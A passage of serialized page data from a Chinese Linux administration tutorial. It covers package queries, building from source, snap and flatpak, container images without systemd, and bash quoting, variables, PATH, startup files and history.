-qf \u002Fusr\u002Fbin\u002Fconvert",[84,91631,91632],{},[22,91633,91634],{},"apk info -w \u002Fusr\u002Fbin\u002Fconvert",[63,91636,91637,91640,91645,91650],{},[84,91638,91639],{},"这个包装了哪些文件",[84,91641,91642],{},[22,91643,91644],{},"dpkg -L imagemagick",[84,91646,91647],{},[22,91648,91649],{},"rpm -ql imagemagick",[84,91651,91652],{},[22,91653,91654],{},"apk info -L imagemagick",[63,91656,91657,91662,91674,91680],{},[84,91658,91659],{},[17,91660,91661],{},"某个命令在哪个包里（还没装）",[84,91663,91664,6745,91667,91670,91671,5149],{},[22,91665,91666],{},"apt-file search bin\u002Fconvert",[22,91668,91669],{},"apt search","（或直接装 ",[22,91672,91673],{},"debscan",[84,91675,91676,91679],{},[22,91677,91678],{},"dnf provides '*\u002Fconvert'","（最方便，仓库索引里查）",[84,91681,91682,91685],{},[22,91683,91684],{},"apk search -x"," + 看包描述",[63,91687,91688,91691,91696,91701],{},[84,91689,91690],{},"谁依赖这个包",[84,91692,91693],{},[22,91694,91695],{},"apt-cache rdepends pkg",[84,91697,91698],{},[22,91699,91700],{},"dnf repoquery --whatrequires --installed pkg",[84,91702,91703,91706],{},[22,91704,91705],{},"apk info -t pkg","（依赖树反向）",[63,91708,91709,91712,91720,91725],{},[84,91710,91711],{},"这个包依赖什么",[84,91713,91714,1901,91717],{},[22,91715,91716],{},"apt-cache depends pkg",[22,91718,91719],{},"dpkg -s pkg",[84,91721,91722],{},[22,91723,91724],{},"dnf repoquery --requires pkg",[84,91726,91727],{},[22,91728,91729],{},"apk info -d pkg",[63,91731,91732,91735,91741,91747],{},[84,91733,91734],{},"文件有没有被改过",[84,91736,91737,91740],{},[22,91738,91739],{},"debsums","（要装）",[84,91742,91743,91746],{},[22,91744,91745],{},"rpm -V pkg","（内置）",[84,91748,91749],{},[22,91750,91751],{},"apk audit",[11,91753,91754,91755,91758,91759,91762,91763,91766,91767,91770],{},"「这个命令找不到，该装哪个包」在 Debian 上还有个内置提示器：装 ",[22,91756,91757],{},"command-not-found","（Ubuntu 默认有）后，输入 ",[22,91760,91761],{},"convert"," 会直接回 ",[22,91764,91765],{},"sudo apt install imagemagick","。RHEL 系同理由 ",[22,91768,91769],{},"dnf-plugins-core"," 提供。",[53,91772,91774],{"id":91773},"_6-源码安装","6. 源码安装",[308,91776,91778],{"className":3902,"code":91777,"language":3904,"meta":314,"style":314},"tar xzf app-1.9.3.tar.gz && cd app-1.9.3\n.\u002Fconfigure --prefix=\u002Fusr\u002Flocal --with-openssl     # ① 探测环境，生成 Makefile\nmake -j\"$(nproc)\"                                  # ② 编译\nsudo make install                                  # ③ 装到 \u002Fusr\u002Flocal\nsudo ldconfig                                      # ④ 刷新动态库缓存（装了 .so 才需要）\n",[22,91779,91780,91796,91810,91827,91839],{"__ignoreMap":314},[331,91781,91782,91784,91786,91789,91791,91793],{"class":333,"line":334},[331,91783,59002],{"class":501},[331,91785,52223],{"class":365},[331,91787,91788],{"class":365}," app-1.9.3.tar.gz",[331,91790,34829],{"class":337},[331,91792,3936],{"class":344},[331,91794,91795],{"class":365}," app-1.9.3\n",[331,91797,91798,91801,91804,91807],{"class":333,"line":341},[331,91799,91800],{"class":501},".\u002Fconfigure",[331,91802,91803],{"class":344}," --prefix=\u002Fusr\u002Flocal",[331,91805,91806],{"class":344}," --with-openssl",[331,91808,91809],{"class":1003},"     # ① 探测环境，生成 Makefile\n",[331,91811,91812,91814,91816,91819,91821,91824],{"class":333,"line":357},[331,91813,82368],{"class":501},[331,91815,43887],{"class":344},[331,91817,91818],{"class":365},"\"$(",[331,91820,55556],{"class":501},[331,91822,91823],{"class":365},")\"",[331,91825,91826],{"class":1003},"                                  # ② 编译\n",[331,91828,91829,91831,91834,91836],{"class":333,"line":371},[331,91830,37063],{"class":501},[331,91832,91833],{"class":365}," make",[331,91835,13016],{"class":365},[331,91837,91838],{"class":1003},"                                  # ③ 装到 \u002Fusr\u002Flocal\n",[331,91840,91841,91843,91846],{"class":333,"line":384},[331,91842,37063],{"class":501},[331,91844,91845],{"class":365}," ldconfig",[331,91847,91848],{"class":1003},"                                      # ④ 刷新动态库缓存（装了 .so 才需要）\n",[57,91850,91851,91863],{},[60,91852,91853],{},[63,91854,91855,91857,91860],{},[66,91856,90465],{},[66,91858,91859],{},"常见失败",[66,91861,91862],{},"处理",[79,91864,91865,91904,91920,91943,91967],{},[63,91866,91867,91871,91877],{},[84,91868,91869],{},[22,91870,91800],{},[84,91872,91873,91876],{},[22,91874,91875],{},"no acceptable C compiler"," \u002F 缺依赖头文件",[84,91878,91879,91882,91883,91886,91887,272,91890,91893,91894,17306,91897,1901,91900,91903],{},[22,91880,91881],{},"apt install build-essential","；缺的 ",[22,91884,91885],{},"-dev"," 包按报错补（",[22,91888,91889],{},"zlib1g-dev",[22,91891,91892],{},"libssl-dev","）；RHEL 系 ",[22,91895,91896],{},"dnf groupinstall \"Development Tools\"",[22,91898,91899],{},"dnf builddep pkg.src.rpm",[22,91901,91902],{},"apt build-dep pkg"," 一次装齐构建依赖",[63,91905,91906,91910,91913],{},[84,91907,91908],{},[22,91909,82368],{},[84,91911,91912],{},"内存不足被 OOM 杀掉",[84,91914,91915,91916,91919],{},"降到 ",[22,91917,91918],{},"make -j1","；或加 swap",[63,91921,91922,91927,91933],{},[84,91923,91924],{},[22,91925,91926],{},"make install",[84,91928,91929,91930],{},"没权限写 ",[22,91931,91932],{},"\u002Fusr\u002Flocal",[84,91934,16105,91935,91938,91939,91942],{},[22,91936,91937],{},"--prefix=$HOME\u002F.local","（之后要把 ",[22,91940,91941],{},"$HOME\u002F.local\u002Fbin"," 加 PATH）",[63,91944,91945,91948,91953],{},[84,91946,91947],{},"运行期",[84,91949,91950],{},[22,91951,91952],{},"error while loading shared libraries: libxxx.so.1",[84,91954,91955,91956,91959,91960,91963,91964],{},"库没在 ",[22,91957,91958],{},"\u002Fetc\u002Fld.so.conf"," 路径里，",[22,91961,91962],{},"echo \u002Fusr\u002Flocal\u002Flib | sudo tee \u002Fetc\u002Fld.so.conf.d\u002Flocal.conf && sudo ldconfig","；临时验证用 ",[22,91965,91966],{},"LD_LIBRARY_PATH",[63,91968,91969,91972,91980],{},[84,91970,91971],{},"卸载",[84,91973,91974],{},[17,91975,91976,91979],{},[22,91977,91978],{},"make uninstall"," 通常不存在",[84,91981,91982],{},"这正是源码安装的致命缺陷",[11,91984,91985,91988,91989,91991,91992,91995,91996,91999,92000,92003,92004,92007,92008,161],{},[22,91986,91987],{},"checkinstall"," 的价值：把 ",[22,91990,91926],{}," 的产物打包成一个",[17,91993,91994],{},"受包管理器记录","的 .deb\u002F.rpm，于是 ",[22,91997,91998],{},"dpkg -L"," 能查文件、",[22,92001,92002],{},"apt remove"," 能干净卸载。命令替换：",[22,92005,92006],{},"sudo checkinstall --pkgname=myapp --pkgversion=1.9.3 --default","。原则：",[17,92009,92010,92011,92013],{},"能用发行版包就不源码装；必须源码装就用 checkinstall，并只装到 ",[22,92012,91932],{},"（与系统包目录隔离，方便整体删除）",[53,92015,92017],{"id":92016},"_7-snap-flatpak-appimage","7. snap \u002F flatpak \u002F appimage",[57,92019,92020,92031],{},[60,92021,92022],{},[63,92023,92024,92027,92029],{},[66,92025,92026],{},"新型包格式",[66,92028,5040],{},[66,92030,44452],{},[79,92032,92033,92062,92084,92099],{},[63,92034,92035,92041,92055],{},[84,92036,92037,92040],{},[22,92038,92039],{},"snap","（Ubuntu 主推）",[84,92042,92043,272,92046,272,92049,272,92052],{},[22,92044,92045],{},"snap install htop",[22,92047,92048],{},"snap list",[22,92050,92051],{},"snap changes",[22,92053,92054],{},"snap revert",[84,92056,92057,92058,92061],{},"自带依赖与沙箱，自动升级；冷启动慢、",[22,92059,92060],{},"\u002Fsnap"," 占空间大、镜像源在某些网络下很慢",[63,92063,92064,92070,92081],{},[84,92065,92066,92069],{},[22,92067,92068],{},"flatpak","（桌面应用）",[84,92071,92072,272,92075,272,92078],{},[22,92073,92074],{},"flatpak install flathub org.videolan.VLC",[22,92076,92077],{},"flatpak run …",[22,92079,92080],{},"flatpak update",[84,92082,92083],{},"面向桌面 GUI，服务器基本不用",[63,92085,92086,92091,92096],{},[84,92087,92088],{},[22,92089,92090],{},"appimage",[84,92092,92093],{},[22,92094,92095],{},".\u002FSomeApp.AppImage",[84,92097,92098],{},"单文件免安装，给一个可执行位就能跑",[63,92100,92101,92112,92115],{},[84,92102,92103,1901,92106,1901,92109],{},[22,92104,92105],{},"pipx",[22,92107,92108],{},"cargo install",[22,92110,92111],{},"npm i -g",[84,92113,92114],{},"语言级生态",[84,92116,92117],{},"与系统包管理器隔离，冲突少但更新不统一",[53,92119,92121],{"id":92120},"_8-容器化发行版为什么没有-systemd","8. 容器化发行版为什么没有 systemd",[11,92123,92124,92125,322],{},"Docker\u002FOCI 镜像里的「Debian\u002FAlpine」只是一个根文件系统，",[17,92126,92127],{},"不是完整虚拟机",[57,92129,92130,92143],{},[60,92131,92132],{},[63,92133,92134,92137,92140],{},[66,92135,92136],{},"现象",[66,92138,92139],{},"原因",[66,92141,92142],{},"后果与替代",[79,92144,92145,92164,92177,92196,92207,92224],{},[63,92146,92147,92156,92159],{},[84,92148,92149,92150,92152,92153,5149],{},"没有 ",[22,92151,74862],{},"（或报 ",[22,92154,92155],{},"System has not been booted with systemd",[84,92157,92158],{},"PID 1 是应用本身，没有 init 系统",[84,92160,16105,92161,92163],{},[22,92162,37281],{}," 起进程、镜像 entrypoint、s6\u002Fsupervisord 管多进程",[63,92165,92166,92171,92174],{},[84,92167,92168,92170],{},[22,92169,47280],{}," 装完服务不自动启动",[84,92172,92173],{},"没有 systemd 触发 unit",[84,92175,92176],{},"手工在启动脚本里拉起，或改由 supervisor 管",[63,92178,92179,92184,92187],{},[84,92180,92181,92183],{},[22,92182,85451],{}," 无用武之地",[84,92185,92186],{},"journald 没跑",[84,92188,92189,92190,1901,92192,92195],{},"日志走 stdout\u002Fstderr，由 ",[22,92191,50022],{},[22,92193,92194],{},"kubectl logs"," 收",[63,92197,92198,92201,92204],{},[84,92199,92200],{},"cron 不工作",[84,92202,92203],{},"crond 没被启动",[84,92205,92206],{},"外部调度器（K8s CronJob）或镜像里显式起 crond",[63,92208,92209,92216,92219],{},[84,92210,92211,655,92213,92215],{},[22,92212,87740],{},[22,92214,87743],{}," 看不到宿主机全部信息",[84,92217,92218],{},"独立网络命名空间",[84,92220,92221,92223],{},[22,92222,50419],{}," 进命名空间，或在容器内只关心自己那套",[63,92225,92226,92229,92235],{},[84,92227,92228],{},"装包习惯差异",[84,92230,92231,92232],{},"镜像层要",[17,92233,92234],{},"越小越好",[84,92236,92237,272,92240,92243,92244,92247],{},[22,92238,92239],{},"apt install -y --no-install-recommends",[22,92241,92242],{},"apk add --no-cache","、装完 ",[22,92245,92246],{},"&& rm -rf \u002Fvar\u002Flib\u002Fapt\u002Flists\u002F*","；调试工具单独打 debug 镜像",[11,92249,92250,92251,272,92254,272,92256,92258,92259,1901,92262,92265],{},"排「容器里为什么这条命令没有」时，先想是不是精简镜像（",[22,92252,92253],{},"*-slim",[22,92255,47664],{},[22,92257,50188],{},"）根本没带这个包，用 ",[22,92260,92261],{},"apk info",[22,92263,92264],{},"dpkg -l"," 核对，再决定是装包还是换镜像。",[53,92267,75156],{"id":92268},"踩坑提醒-14",[1773,92270,92271,92286,92300,92310],{},[1662,92272,92273,5160,92276,92279,92280,4839,92283,92285],{},[22,92274,92275],{},"apt upgrade",[22,92277,92278],{},"apt full-upgrade"," 混用能引出依赖地狱；生产上先 ",[22,92281,92282],{},"apt -s upgrade",[22,92284,88080],{}," 模拟，不实际改动）看会动什么。",[1662,92287,92288,92289,92292,92293,92295,92296,92299],{},"手动 ",[22,92290,92291],{},"dpkg -i"," 装失败后",[17,92294,12045],{},"反复重试，",[22,92297,92298],{},"sudo apt -f install"," 才是修依赖的正确一步。",[1662,92301,92302,92305,92306,92309],{},[22,92303,92304],{},"rpm -Va"," 输出巨多不等于系统被入侵：绝大多数是配置文件被管理员合法改动、日志文件被写入。看 ",[22,92307,92308],{},"S5","（摘要变了）且是二进制路径才值得警惕。",[1662,92311,92312,92313,4839,92316,57676,92318,92321,92322,272,92325,272,92328,92331],{},"升级 Python\u002FOpenSSL\u002Fglibc 这类系统库时",[17,92314,92315],{},"永远不要用源码覆盖",[22,92317,91926],{},[22,92319,92320],{},"\u002Fusr","），apt\u002Fdnf 自身依赖它们，覆盖会当场把包管理器变砖。要装新版本用 ",[22,92323,92324],{},"apt install python3.12",[22,92326,92327],{},"dnf module",[22,92329,92330],{},"pyenv","（装在用户目录）或容器。",[48,92333,92335],{"id":92334},"十六shell-本身变量引号与脚本的标配","十六、Shell 本身：变量、引号与脚本的标配",[11,92337,92338,92340,92341,92343],{},[22,92339,3904],{}," 不是命令行集合，它是一门语言。脚本里 90% 的诡异行为（变量为空、单词被拆、退出码丢失）都出自三个地方：引号、展开、",[22,92342,48057],{}," 的缺失。这一章把这几件事一次讲清。",[53,92345,92347],{"id":92346},"_1-引号三兄弟","1. 引号三兄弟",[57,92349,92350,92364],{},[60,92351,92352],{},[63,92353,92354,92356,92359,92362],{},[66,92355,19254],{},[66,92357,92358],{},"名字",[66,92360,92361],{},"会不会展开变量\u002F命令",[66,92363,5441],{},[79,92365,92366,92388,92420],{},[63,92367,92368,92373,92376,92382],{},[84,92369,92370],{},[22,92371,92372],{},"'…'",[84,92374,92375],{},"单引号",[84,92377,92378,92381],{},[17,92379,92380],{},"完全不展开","，所见即字面",[84,92383,92384,92387],{},[22,92385,92386],{},"echo '$HOME $(date)'"," 原样输出",[63,92389,92390,92395,92398,92414],{},[84,92391,92392],{},[22,92393,92394],{},"\"…\"",[84,92396,92397],{},"双引号",[84,92399,92400,92401,272,92404,272,92407,92410,92411],{},"展开 ",[22,92402,92403],{},"$var",[22,92405,92406],{},"$(cmd)",[22,92408,92409],{},"`","，但",[17,92412,92413],{},"不拆分单词、不做 glob",[84,92415,92416,92419],{},[22,92417,92418],{},"echo \"$file\""," 带空格安全",[63,92421,92422,92427,92430,92433],{},[84,92423,92424],{},[22,92425,92426],{},"`…`",[84,92428,92429],{},"反引号命令替换",[84,92431,92432],{},"展开，但嵌套需转义，可读性差",[84,92434,92435,92436],{},"新代码一律换成 ",[22,92437,92438],{},"$(…)",[11,92440,10660,92441,4839,92444,92447,92448,92451,92452,92455],{},[17,92442,92443],{},"变量永远包在双引号里",[22,92445,92446],{},"\"$x\"","），除非你明确想要单词拆分。判断是否会被拆，用 ",[22,92449,92450],{},"set -f","（临时禁 glob）或 ",[22,92453,92454],{},"printf '[%s]\\n' \"$x\""," 观察。",[11,92457,92458,5160,92461,322,92464,92467,92468,272,92470,272,92473,5177,92476,92479,92480,92483,92484,161],{},[22,92459,92460],{},"$'…'",[22,92462,92463],{},"$\"…\"",[22,92465,92466],{},"$'a\\nb'"," 支持 C 转义（",[22,92469,65466],{},[22,92471,92472],{},"\\t",[22,92474,92475],{},"\\x41",[22,92477,92478],{},"$\"msg\""," 做本地化翻译（基本遇不到）。空数组\u002F未设变量在 ",[22,92481,92482],{},"set -u"," 下的安全写法是 ",[22,92485,92486],{},"${x:-}",[53,92488,92490],{"id":92489},"_2-变量与-export","2. 变量与 export",[308,92492,92494],{"className":3902,"code":92493,"language":3904,"meta":314,"style":314},"NAME=deploy                 # 赋值——等号两边不能有空格！NAME = deploy 会被当成执行命令\nreadonly PI=3.14            # 只读，再改会报错\nexport JAVA_HOME=\u002Fusr\u002Flib\u002Fjvm\u002Fjava-17   # 导出为环境变量（子进程可见）；只对之后的子进程生效\nexport -f fn                # 导出函数给子 bash；cron\u002Fsystemd 里不生效（不是 bash 子进程）\nenv                         # 打印当前全部环境；env -i bash 起一个干净环境（测试利器）\nprintenv PATH               # 取单个变量，比 echo $PATH 稳（未设时 echo 输出空行看不出来）\nunset NAME                  # 删变量；export -n NAME 只取消导出而保留本地值\ndeclare -p                  # 看变量的类型与属性，排查数组\u002F整数属性时用\n",[22,92495,92496,92508,92521,92536,92548,92555,92565,92576],{"__ignoreMap":314},[331,92497,92498,92501,92503,92505],{"class":333,"line":334},[331,92499,92500],{"class":337},"NAME",[331,92502,518],{"class":616},[331,92504,54965],{"class":365},[331,92506,92507],{"class":1003},"                 # 赋值——等号两边不能有空格！NAME = deploy 会被当成执行命令\n",[331,92509,92510,92512,92514,92516,92518],{"class":333,"line":341},[331,92511,26123],{"class":616},[331,92513,62385],{"class":337},[331,92515,518],{"class":616},[331,92517,62877],{"class":344},[331,92519,92520],{"class":1003},"            # 只读，再改会报错\n",[331,92522,92523,92525,92528,92530,92533],{"class":333,"line":357},[331,92524,5219],{"class":616},[331,92526,92527],{"class":337}," JAVA_HOME",[331,92529,518],{"class":616},[331,92531,92532],{"class":337},"\u002Fusr\u002Flib\u002Fjvm\u002Fjava-17   ",[331,92534,92535],{"class":1003},"# 导出为环境变量（子进程可见）；只对之后的子进程生效\n",[331,92537,92538,92540,92542,92545],{"class":333,"line":371},[331,92539,5219],{"class":616},[331,92541,43839],{"class":344},[331,92543,92544],{"class":337}," fn                ",[331,92546,92547],{"class":1003},"# 导出函数给子 bash；cron\u002Fsystemd 里不生效（不是 bash 子进程）\n",[331,92549,92550,92552],{"class":333,"line":384},[331,92551,50658],{"class":501},[331,92553,92554],{"class":1003},"                         # 打印当前全部环境；env -i bash 起一个干净环境（测试利器）\n",[331,92556,92557,92559,92562],{"class":333,"line":397},[331,92558,56805],{"class":501},[331,92560,92561],{"class":365}," PATH",[331,92563,92564],{"class":1003},"               # 取单个变量，比 echo $PATH 稳（未设时 echo 输出空行看不出来）\n",[331,92566,92567,92570,92573],{"class":333,"line":418},[331,92568,92569],{"class":344},"unset",[331,92571,92572],{"class":365}," NAME",[331,92574,92575],{"class":1003},"                  # 删变量；export -n NAME 只取消导出而保留本地值\n",[331,92577,92578,92581,92583],{"class":333,"line":427},[331,92579,92580],{"class":616},"declare",[331,92582,36941],{"class":344},[331,92584,92585],{"class":1003},"                  # 看变量的类型与属性，排查数组\u002F整数属性时用\n",[11,92587,92588],{},"变量展开的形式（脚本里避免 bug 的关键）：",[57,92590,92591,92599],{},[60,92592,92593],{},[63,92594,92595,92597],{},[66,92596,19254],{},[66,92598,49671],{},[79,92600,92601,92611,92625,92641,92651],{},[63,92602,92603,92608],{},[84,92604,92605],{},[22,92606,92607],{},"${x:-默认}",[84,92609,92610],{},"x 未设或空则用默认（不改变 x）",[63,92612,92613,92618],{},[84,92614,92615],{},[22,92616,92617],{},"${x:=默认}",[84,92619,92620,92621,92624],{},"x 未设或空则",[17,92622,92623],{},"赋值","为默认（常用于「首次运行算一次」）",[63,92626,92627,92632],{},[84,92628,92629],{},[22,92630,92631],{},"${x:?消息}",[84,92633,92634,92635,322,92638],{},"x 未设或空则报错退出——",[17,92636,92637],{},"破坏性命令前的保险",[22,92639,92640],{},"rm -rf \"${DIR:?}\u002F*\"",[63,92642,92643,92648],{},[84,92644,92645],{},[22,92646,92647],{},"${x:+替代}",[84,92649,92650],{},"x 有值才用替代值",[63,92652,92653,92667],{},[84,92654,92655,1901,92658,1901,92661,1901,92664],{},[22,92656,92657],{},"${#x}",[22,92659,92660],{},"${x:5:3}",[22,92662,92663],{},"${x%%.txt}",[22,92665,92666],{},"${x\u002F\u002Fa\u002Fb}",[84,92668,92669,92670,92672],{},"长度 \u002F 子串 \u002F 删后缀 \u002F 替换（比调用 ",[22,92671,75045],{}," 快且无 fork）",[53,92674,92676],{"id":92675},"_3-path-怎么安全地加一段","3. PATH 怎么安全地加一段",[308,92678,92680],{"className":3902,"code":92679,"language":3904,"meta":314,"style":314},"export PATH=\"$HOME\u002F.local\u002Fbin:$PATH\"    # 日常写法；重复执行会把 PATH 越拉越长，脚本里别这样\n\ncase \":$PATH:\" in *\":$HOME\u002F.local\u002Fbin:\"*) ;; *) export PATH=\"$HOME\u002F.local\u002Fbin:$PATH\" ;; esac\n# 幂等写法：重复执行不累积\n",[22,92681,92682,92705,92709,92766],{"__ignoreMap":314},[331,92683,92684,92686,92688,92690,92692,92694,92697,92700,92702],{"class":333,"line":334},[331,92685,5219],{"class":616},[331,92687,92561],{"class":337},[331,92689,518],{"class":616},[331,92691,6153],{"class":365},[331,92693,76390],{"class":337},[331,92695,92696],{"class":365},"\u002F.local\u002Fbin:",[331,92698,92699],{"class":337},"$PATH",[331,92701,6153],{"class":365},[331,92703,92704],{"class":1003},"    # 日常写法；重复执行会把 PATH 越拉越长，脚本里别这样\n",[331,92706,92707],{"class":333,"line":341},[331,92708,998],{"emptyLinePlaceholder":997},[331,92710,92711,92714,92717,92719,92722,92724,92726,92729,92731,92734,92736,92738,92741,92744,92747,92749,92751,92753,92755,92757,92759,92761,92763],{"class":333,"line":357},[331,92712,92713],{"class":616},"case",[331,92715,92716],{"class":365}," \":",[331,92718,92699],{"class":337},[331,92720,92721],{"class":365},":\"",[331,92723,63945],{"class":616},[331,92725,1045],{"class":616},[331,92727,92728],{"class":365},"\":",[331,92730,76390],{"class":337},[331,92732,92733],{"class":365},"\u002F.local\u002Fbin:\"",[331,92735,18020],{"class":616},[331,92737,1351],{"class":616},[331,92739,92740],{"class":337}," ;; ",[331,92742,92743],{"class":616},"*)",[331,92745,92746],{"class":616}," export",[331,92748,92561],{"class":337},[331,92750,518],{"class":616},[331,92752,6153],{"class":365},[331,92754,76390],{"class":337},[331,92756,92696],{"class":365},[331,92758,92699],{"class":337},[331,92760,6153],{"class":365},[331,92762,92740],{"class":337},[331,92764,92765],{"class":616},"esac\n",[331,92767,92768],{"class":333,"line":371},[331,92769,92770],{"class":1003},"# 幂等写法：重复执行不累积\n",[11,92772,78858,92773,92775,92776,92779,92780,26190,92782,92785,92786,92788,92789,92791,92792,92794,92795,92798,92799,92801,92802,92805,92806,92809,92810,23069,92812,161],{},[22,92774,47784],{}," 里出现",[17,92777,92778],{},"空段","（开头或结尾的 ",[22,92781,1180],{},[22,92783,92784],{},"PATH=:","）等价于把当前目录 ",[22,92787,1192],{}," 加进搜索路径——任何人能在 ",[22,92790,75393],{}," 放一个 ",[22,92793,16007],{}," 骗你执行。检查：",[22,92796,92797],{},"echo \"$PATH\" | tr ':' '\\n' | nl","。sudo 会用 ",[22,92800,78939],{}," 覆盖你的 PATH（",[22,92803,92804],{},"sudo -V | grep secure_path"," 查看），所以 ",[22,92807,92808],{},"sudo mytool"," 找不到东西时要改 ",[22,92811,79076],{},[22,92813,5219],{},[53,92815,92817],{"id":92816},"_4-启动文件什么时候被读","4. 启动文件什么时候被读",[57,92819,92820,92835],{},[60,92821,92822],{},[63,92823,92824,92826,92829,92832],{},[66,92825,6787],{},[66,92827,92828],{},"谁读它",[66,92830,92831],{},"何时",[66,92833,92834],{},"放什么",[79,92836,92837,92855,92894,92912,92931,92946],{},[63,92838,92839,92847,92849,92852],{},[84,92840,92841,4843,92844],{},[22,92842,92843],{},"\u002Fetc\u002Fprofile",[22,92845,92846],{},"\u002Fetc\u002Fprofile.d\u002F*.sh",[84,92848,87465],{},[84,92850,92851],{},"登录时一次",[84,92853,92854],{},"系统级环境（模块、语言、代理）",[63,92856,92857,92868,92870,92885],{},[84,92858,92859,1901,92862,1901,92865],{},[22,92860,92861],{},"~\u002F.bash_profile",[22,92863,92864],{},"~\u002F.profile",[22,92866,92867],{},"~\u002F.login",[84,92869,87465],{},[84,92871,92872,92875,92876,272,92879,272,92882,5149],{},[17,92873,92874],{},"找到第一个就不往后","（bash 只看 ",[22,92877,92878],{},".bash_profile",[22,92880,92881],{},".bash_login",[22,92883,92884],{},".profile",[84,92886,92887,92888,92890,92891],{},"只写 ",[22,92889,5219],{},"，并 ",[22,92892,92893],{},"source ~\u002F.bashrc",[63,92895,92896,92900,92906,92909],{},[84,92897,92898],{},[22,92899,86542],{},[84,92901,92902,92905],{},[17,92903,92904],{},"非交互","但交互式的 shell（每个新终端窗口）",[84,92907,92908],{},"每次开 shell",[84,92910,92911],{},"alias、函数、提示符、补全",[63,92913,92914,92922,92925,92928],{},[84,92915,92916,1901,92919],{},[22,92917,92918],{},"\u002Fetc\u002Fbash.bashrc",[22,92920,92921],{},"\u002Fetc\u002Fbashrc",[84,92923,92924],{},"所有 bash",[84,92926,92927],{},"每次",[84,92929,92930],{},"系统级 alias",[63,92932,92933,92938,92940,92943],{},[84,92934,92935],{},[22,92936,92937],{},"~\u002F.bash_logout",[84,92939,87465],{},[84,92941,92942],{},"退出时",[84,92944,92945],{},"清理（清屏等）",[63,92947,92948,92953,92956,92959],{},[84,92949,92950],{},[22,92951,92952],{},"$BASH_ENV",[84,92954,92955],{},"非交互 shell（脚本）",[84,92957,92958],{},"脚本启动时",[84,92960,92961],{},"极少用，注意脚本环境",[11,92963,92964,92965,92968,92969,92972,92973,92976,92977,18878,92980,92982,92983,92986,92987,655,92989,92991,92992,161],{},"经典问题：",[22,92966,92967],{},".bashrc"," 里写了 alias 但 ",[22,92970,92971],{},"ssh host 'cmd'"," 不生效——因为 ",[22,92974,92975],{},"ssh host cmd"," 起的是",[17,92978,92979],{},"非交互 shell",[22,92981,92967],{}," 开头通常有 ",[22,92984,92985],{},"case $- in *i*) ;; *) return;; esac"," 直接返回。把要共享的东西放 ",[22,92988,92884],{},[22,92990,92967],{}," 的守卫之前，或用 ",[22,92993,92994],{},"BASH_ENV",[53,92996,92998],{"id":92997},"_5-alias函数与-history","5. alias、函数与 history",[308,93000,93002],{"className":3902,"code":93001,"language":3904,"meta":314,"style":314},"alias ll='ls -lh --color=auto'    # 定义别名；别名不做参数展开，需要参数就写函数\nunalias ll                        # 取消；\\ls 或 command ls 临时绕开别名；脚本里判断用 type -a\nmkcd() { mkdir -p \"$1\" && cd \"$1\"; }   # 函数：定义即执行副作用\n\nhistory                             # 历史列表；history 20 看最近 20 条；HISTSIZE\u002FHISTFILESIZE 控条数\nhistory -a                          # 立即落盘；多终端并发会互相覆盖，设 shopt -s histappend\n!!                                  # 重复上条整条；sudo !! 是忘加 sudo 的标准补救\n!$                                  # 上条的最后一个参数：mkdir a\u002Fb\u002Fc 然后 cd !$；!* 是全部参数\n!42                                 # 执行历史第 42 条；!grep 按开头字符串；!?conf? 最近含 conf 的\n!42:p                               # 只打印不执行，先确认再跑\nCtrl-R                              # 反向搜索——效率最高的一个键；配 fzf 后可模糊选\nhistory -c; history -w              # 清历史；注意 ~\u002F.bash_history 里的敏感命令\n",[22,93003,93004,93019,93029,93061,93065,93072,93081,93089,93098,93107,93117,93124],{"__ignoreMap":314},[331,93005,93006,93008,93011,93013,93016],{"class":333,"line":334},[331,93007,15508],{"class":616},[331,93009,93010],{"class":337}," ll",[331,93012,518],{"class":616},[331,93014,93015],{"class":365},"'ls -lh --color=auto'",[331,93017,93018],{"class":1003},"    # 定义别名；别名不做参数展开，需要参数就写函数\n",[331,93020,93021,93024,93026],{"class":333,"line":341},[331,93022,93023],{"class":344},"unalias",[331,93025,93010],{"class":365},[331,93027,93028],{"class":1003},"                        # 取消；\\ls 或 command ls 临时绕开别名；脚本里判断用 type -a\n",[331,93030,93031,93034,93036,93038,93040,93042,93044,93046,93048,93050,93052,93054,93056,93058],{"class":333,"line":357},[331,93032,93033],{"class":501},"mkcd",[331,93035,17990],{"class":337},[331,93037,75697],{"class":501},[331,93039,36941],{"class":344},[331,93041,51992],{"class":365},[331,93043,81492],{"class":344},[331,93045,6153],{"class":365},[331,93047,34829],{"class":337},[331,93049,3936],{"class":344},[331,93051,51992],{"class":365},[331,93053,81492],{"class":344},[331,93055,6153],{"class":365},[331,93057,35033],{"class":337},[331,93059,93060],{"class":1003},"# 函数：定义即执行副作用\n",[331,93062,93063],{"class":333,"line":371},[331,93064,998],{"emptyLinePlaceholder":997},[331,93066,93067,93069],{"class":333,"line":384},[331,93068,46952],{"class":344},[331,93070,93071],{"class":1003},"                             # 历史列表；history 20 看最近 20 条；HISTSIZE\u002FHISTFILESIZE 控条数\n",[331,93073,93074,93076,93078],{"class":333,"line":397},[331,93075,46952],{"class":344},[331,93077,57537],{"class":344},[331,93079,93080],{"class":1003},"                          # 立即落盘；多终端并发会互相覆盖，设 shopt -s histappend\n",[331,93082,93083,93086],{"class":333,"line":418},[331,93084,93085],{"class":616},"!!",[331,93087,93088],{"class":1003},"                                  # 重复上条整条；sudo !! 是忘加 sudo 的标准补救\n",[331,93090,93091,93093,93095],{"class":333,"line":427},[331,93092,1150],{"class":616},[331,93094,54777],{"class":501},[331,93096,93097],{"class":1003},"                                  # 上条的最后一个参数：mkdir a\u002Fb\u002Fc 然后 cd !$；!* 是全部参数\n",[331,93099,93100,93102,93104],{"class":333,"line":439},[331,93101,1150],{"class":616},[331,93103,31936],{"class":501},[331,93105,93106],{"class":1003},"                                 # 执行历史第 42 条；!grep 按开头字符串；!?conf? 最近含 conf 的\n",[331,93108,93109,93111,93114],{"class":333,"line":450},[331,93110,1150],{"class":616},[331,93112,93113],{"class":501},"42:p",[331,93115,93116],{"class":1003},"                               # 只打印不执行，先确认再跑\n",[331,93118,93119,93121],{"class":333,"line":456},[331,93120,77644],{"class":501},[331,93122,93123],{"class":1003},"                              # 反向搜索——效率最高的一个键；配 fzf 后可模糊选\n",[331,93125,93126,93128,93130,93132,93134,93136],{"class":333,"line":775},[331,93127,46952],{"class":344},[331,93129,15990],{"class":344},[331,93131,620],{"class":337},[331,93133,46952],{"class":344},[331,93135,80890],{"class":344},[331,93137,93138],{"class":1003},"              # 清历史；注意 ~\u002F.bash_history 